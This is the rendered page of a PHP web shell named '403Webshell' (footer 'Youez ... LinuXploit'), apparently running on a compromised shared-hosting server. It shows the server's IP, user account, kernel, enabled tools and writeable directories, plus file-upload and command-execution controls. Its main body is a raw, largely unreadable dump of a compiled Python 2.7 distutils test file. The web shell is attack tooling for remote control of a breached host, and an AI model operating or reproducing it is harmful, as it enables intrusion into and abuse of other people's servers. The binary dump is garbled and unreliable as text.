403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.63
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python27/lib64/python2.7/distutils/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyc
�
�q2_c@s�dZddlZddlZddlmZddlmZddlZddlm	Z	ddl
mZde	je	j
ejfd��YZd	�Zed
kr�ee��ndS(s*Tests for distutils.command.build_scripts.i����N(t
build_scripts(tDistribution(tsupport(trun_unittesttBuildScriptsTestCasecBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCsc|jdg�}|j|j�|j|j�|j�|j|j�|j|jd�dS(Ns/foo/bar(tget_build_scripts_cmdtassertFalsetforcetassertIsNonet	build_dirtfinalize_optionst
assertTruetassertEqual(tselftcmd((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyttest_default_settingss
cCs�|j�}|j�}|j|�}|j|g|D]}tjj||�^q7�}|j�|j�tj|�}x|D]}|j	||�q�WdS(N(
tmkdtemptwrite_sample_scriptsRtostpathtjoinR
truntlistdirtassertIn(R
tsourcettargettexpectedtfnRtbuilttname((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyt
test_builds	(


cCsPddl}t�}||_tjd|ddd|j�|jd<t|�S(Ni����RRit
executabletbuild(tsysRtscriptsRtDummyCommandRtcommand_objR(R
RR"R!tdist((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyR+s			cCsjg}|jd�|j|dd�|jd�|j|dd�|jd�|j|dd�|S(Ns
script1.pys@#! /usr/bin/env python2.3
# bogus script w/ Python sh-bang
pass
s
script2.pys8#!/usr/bin/python
# bogus script w/ Python sh-bang
pass
sshell.shs1#!/bin/sh
# bogus shell script w/ sh-bang
exit 0
(tappendtwrite_script(R
tdirR((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyR6s


cCsAttjj||�d�}z|j|�Wd|j�XdS(Ntw(topenRRRtwritetclose(R
R(Rttexttf((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyR'Isc	Cs�|j�}|j�}|j|�}|j|g|D]}tjj||�^q7�}|j�tj�j	d�}dtj
d<z|j�Wd|dk	r�|tj
d<nXtj
|�}x|D]}|j||�q�WdS(NtVERSIONi(RRRRRRR
t	sysconfigtget_config_varstgett_CONFIG_VARSRtNoneRR(	R
RRRRRtoldRR((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyttest_version_intPs 	(


(t__name__t
__module__RRRRR'R6(((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyRs	
				cCs
tjt�S(N(tunittestt	makeSuiteR(((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyt
test_suitelst__main__(t__doc__RR9tdistutils.command.build_scriptsRtdistutils.coreRR0tdistutils.testsRttest.test_supportRtTempdirManagertLoggingSilencertTestCaseRR;R7(((sG/opt/alt/python27/lib64/python2.7/distutils/tests/test_build_scripts.pyt<module>s	\	

Youez - 2016 - github.com/yon3zu
LinuXploit